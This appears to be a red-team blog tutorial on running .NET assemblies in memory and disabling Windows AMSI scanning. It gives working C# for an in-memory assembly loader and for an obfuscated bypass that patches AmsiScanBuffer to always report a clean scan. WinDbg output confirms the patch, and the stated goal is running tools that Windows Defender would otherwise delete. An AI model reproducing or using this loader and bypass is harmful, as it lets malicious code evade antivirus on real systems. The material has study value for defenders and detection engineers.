Assembly.Load & AMSI

Modern C2 Frameworks such as Cobalt Strike and Covenant include functionality to execute .NET assemblies in memory. Executing applications in memory is preferable, as it means no forensic artifacts are left on disk which may scanned by AV products, or captured by CSIRT teams.

The .NET Framework provides the Assembly.Load method which allows loading Common Object File Format (COFF) images like such as DLL’s and EXE’s. Assembly.Load can be supplied with a file path to load a DLL from disk, or with a byte array to load directly in memory.

In order to provide input to the application and retrieve the results, the following code can be used:

        static string ExecuteAssembly(byte[] AssemblyBytes, string[] arguments = null)
        {
            var currentOut = Console.Out;
            var currentError = Console.Error;
            var memStream = new MemoryStream();
            var sWriter = new StreamWriter(memStream)
            {
                AutoFlush = true
            };

            Console.SetOut(sWriter);
            Console.SetError(sWriter);

            var assembly = Assembly.Load(AssemblyBytes);
            assembly.EntryPoint.Invoke(null, new object[] { arguments });

            Console.Out.Flush();
            Console.Error.Flush();

            var output = Encoding.UTF8.GetString(memStream.ToArray());

            Console.SetOut(currentOut);
            Console.SetError(currentError);

            sWriter.Dispose();
            memStream.Dispose();

            return output;
        }

However, running the code with a malicious binary on a system with .NET Framework 4.8, which supports AMSI will result in the following error:

System.BadImageFormatException: Operation did not complete successfully because the file contains a virus or potentially unwanted software. (Exception from HRESULT: 0x800700E1)

The Anti Malware Scan Interface (AMSI)

The Anti Malware Scan Interface (AMSI) allows application code to be inspected by installed Anti-Virus products.

The list of current active AMSI providers can be found in the registry under “HKLM\SOFTWARE\Microsoft\AMSI\Providers”.

There is a number of known methods to bypass AMSI. When process is created, amsi.dll is mapped into the virtual address space of the application. This behaviour can be observed by listing the a processes loaded modules;

        public static void ListAssemblies()
        {
            using (Process myProcess = new Process())
            {
                Process currentProcess = Process.GetCurrentProcess();
                Console.WriteLine("Current process:" + currentProcess.ProcessName);
                ProcessModule myProcessModule;
                ProcessModuleCollection myProcessModuleCollection = currentProcess.Modules;
                for (int i = 0; i < myProcessModuleCollection.Count; i++)
                {
                    myProcessModule = myProcessModuleCollection[i];
                    Console.WriteLine("Loaded Module: " + myProcessModule.ModuleName);
                    Console.WriteLine("The " + myProcessModule.ModuleName + 
"'s base address is: " + "0x" + myProcessModule.BaseAddress.ToString("x8"));
                    Console.WriteLine("The " + myProcessModule.ModuleName + 
"'s Entry point address is: " + "0x" + myProcessModule.EntryPointAddress.ToString("x8"));
                    Console.WriteLine("The " + myProcessModule.ModuleName + 
"'s File name is: " + myProcessModule.FileName);
                }
             }
        }

The output shows that amsi.dll is mapped into the processes address space;

Inside amsi.dll is a function, AmsiScanBuffer which determines if the code being scanned is deemed malicious. This presence of this function can be seen in the DLL’s Export Address Table using dumpbin.exe:

Bypassing AMSI

Since this function lives in the address space of our application, we can use Reflection to determine location of this function and overwrite it.

So, the required steps are;

Find the base library address of amsi.dll:

var lib = LoadLibrary("amsi.dll");

Get the address of the AmsiScanBuffer function:

var memloc = GetProcAddress(lib, "AmsiScanBuffer");

Change the access permissions on the area of memory to allow us to write to it:

_ = VirtualProtect(memloc, (UIntPtr)patch.Length, 0x40, out uint oldProtect);

Finally, we just need to patch the function so it always returns a code which does not indicate the presence of malware.

Looking at the AmsiScanBuffer function in IDA we can see that if there is an error condition, 0x80070057 is placed in the EAX register (highlighted in yellow). The code being scanned is subsequently allowed to execute.

All we need to do is add some assembly code so the EAX register is always set to 0x80070057 after entering the function.

Because this is a well known technique, Anti-Virus products will often detect this string as a potential AMSI bypass. We can obfuscate the address using a sub instruction:

nasm > mov eax, 0x923B56CF
00000000  B8CF563B92        mov eax,0x923b56cf
nasm > sub eax, 0x12345678
00000000  2D78563412        sub eax,0x12345678
nasm > ret
00000000  C3                ret
var p = new byte[] { 0xB8, 0xCF, 0x56, 0x3B, 0x92, 0x2D, 0x78, 0x56, 0x34, 0x12, 0xC3 };
Marshal.Copy(p, 0, memloc, p.Length);

We can examine the effect this has on the application using WinDBG, by setting a breakpoint on the loading of the AMSI DLL, then examining the AmsiScanBuffer function before and after the bypass has been implemented:

0:006> sxe ld amsi

0:006> g
ModLoad: 00007ff9`48f20000 00007ff9`48f39000   C:\Windows\SYSTEM32\amsi.dll
ntdll!NtMapViewOfSection+0x14:
00007ff9`5450d274 c3              ret

0:000> u amsi!AmsiScanBuffer
amsi!AmsiScanBuffer:
00007ff9`48f235e0 4c8bdc          mov     r11,rsp
00007ff9`48f235e3 49895b08        mov     qword ptr [r11+8],rbx
00007ff9`48f235e7 49896b10        mov     qword ptr [r11+10h],rbp
00007ff9`48f235eb 49897318        mov     qword ptr [r11+18h],rsi
00007ff9`48f235ef 57              push    rdi
00007ff9`48f235f0 4156            push    r14
00007ff9`48f235f2 4157            push    r15
00007ff9`48f235f4 4883ec70        sub     rsp,70h

0:000> g

0:008> u amsi!AmsiScanBuffer
amsi!AmsiScanBuffer:
00007ff9`48f235e0 b8cf563b92      mov     eax,923B56CFh
00007ff9`48f235e5 2d78563412      sub     eax,12345678h
00007ff9`48f235ea c3              ret
00007ff9`48f235eb 49897318        mov     qword ptr [r11+18h],rsi
00007ff9`48f235ef 57              push    rdi
00007ff9`48f235f0 4156            push    r14
00007ff9`48f235f2 4157            push    r15
00007ff9`48f235f4 4883ec70        sub     rsp,70h

It’s possible to manipulate other areas of amsi.dll memory to subvert scanning. AmsiScanBuffer is applicable when dealing with Assembly.Load events, but the AmsiScanString which is more applicable to scripting languages will still be in effect.

Alternatively, AmsiOpenSession can be overwritten. This API takes effect before AmsiScanString or AmsiScanBuffer are called, so modifying it would prevent subsequent calls to those functions.

ExecuteAssembly

The following code converts a .NET assembly into a Base64 encoded text file which can be loaded via Assembly.Load:

using System;
using System.Text;
using System.IO;
using System.Reflection;
using CommandLine;

namespace ExecuteAssembly
{
    internal class Program
    {

        class Options
        {
            [Option('e', "encode", Required = false, HelpText = "Input file to be encoded.")]
            public string InputFile { get; set; }

            [Option('r', "run", Required = false, HelpText = "Input file to be executed.")]
            public string ExecuteFile { get; set; }

            [Option('a', "arguments", Required = false, HelpText = "Arguments to be supplied to application.")]
            public string Arguments { get; set; }

            [Option('p', "providers", Required = false, HelpText = "List AMSI providers")]
            public bool Providers { get; set; }
        }

        static void Main(string[] args)
        {
            Parser.Default.ParseArguments<Options>(args).WithParsed<Options>(o =>
            {
                if (o.Providers)
                {
                    AMSIProviders();
                }

                if (o.InputFile != null)
                { 
                    if (File.Exists(o.InputFile))
                    {
                        EncodeAssembly(o.InputFile);
                    }
                }

                if (o.ExecuteFile != null)
                {
                    if (File.Exists(o.ExecuteFile))
                    {
                        Console.WriteLine("Running " + o.ExecuteFile + " with arguments: " + o.Arguments);
                        string convertedByteArray = File.ReadAllText(o.ExecuteFile);
                        byte[] AssemblyBytes = Convert.FromBase64String(convertedByteArray);
                        string[] Arguments = { o.Arguments };
                        Console.WriteLine(ExecuteAssembly(AssemblyBytes, Arguments));
                    }

                }
            });
        }

        static void AMSIProviders()
        {
            Console.WriteLine("AMSI Providers");
            String registryKey = @"SOFTWARE\Microsoft\AMSI\Providers";
            using (Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(registryKey))
            {
                foreach (String subkeyName in key.GetSubKeyNames())
                {
                    Console.WriteLine(key.OpenSubKey(subkeyName).GetValue(""));
                }
            }
        }

        static void EncodeAssembly(string filename)
        {
            byte[] dotNetAssembly = File.ReadAllBytes(filename);
            string convertedByteArray = Convert.ToBase64String(dotNetAssembly);
            File.WriteAllText(filename + ".txt", convertedByteArray);
            Console.WriteLine("Encoded file output to: " + filename + ".txt");
        }

        static string ExecuteAssembly(byte[] AssemblyBytes, string[] arguments = null)
        {
            var currentOut = Console.Out;
            var currentError = Console.Error;
            var memStream = new MemoryStream();
            var sWriter = new StreamWriter(memStream)
            {
                AutoFlush = true
            };

            Console.SetOut(sWriter);
            Console.SetError(sWriter);

            EnableBP.Execute();
            var assembly = Assembly.Load(AssemblyBytes);
            assembly.EntryPoint.Invoke(null, new object[] { arguments });

            Console.Out.Flush();
            Console.Error.Flush();

            var output = Encoding.UTF8.GetString(memStream.ToArray());

            Console.SetOut(currentOut);
            Console.SetError(currentError);

            sWriter.Dispose();
            memStream.Dispose();

            return output;
        }

    }
}

AMSI Bypass Code

This code patches AMSIScanBuffer to always return a clean scan result.

using System;
using System.Runtime.InteropServices;

public class EnableBP
{
    public static void Execute()
    {
        var sp = Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI=");          // AmsiScanBuffer
        string decodedSp = System.Text.Encoding.UTF8.GetString(sp);
        var ad = Convert.FromBase64String("YW1zaS5kbGw=");                  // amsi.dll
        string decodedAd = System.Text.Encoding.UTF8.GetString(ad);
        var lib = LoadLibrary(decodedAd);                                   
        var myvar = GetProcAddress(lib, Convert.ToString(decodedSp));
        var p = new byte[] { 0xB8, 0xCF, 0x56, 0x3B, 0x92, 0x2D, 0x78, 0x56, 0x34, 0x12, 0xC3 };
        _ = VirtualProtect(myvar, (UIntPtr)p.Length, 0x3F + 0x01, out uint oldProtect);
        Marshal.Copy(p, 0, myvar, p.Length);
        _ = VirtualProtect(myvar, (UIntPtr)p.Length, oldProtect, out uint _);
    }
    [DllImport("kernel32")]
    static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    static extern IntPtr GetProcAddress( IntPtr hModule, string procName);
    [DllImport("kernel32")]
    static extern bool VirtualProtect(IntPtr lpAddress,UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}

Result

Using the application, we can run a Base64 encoded version of SharpView that would otherwise be deleted by Windows Defender: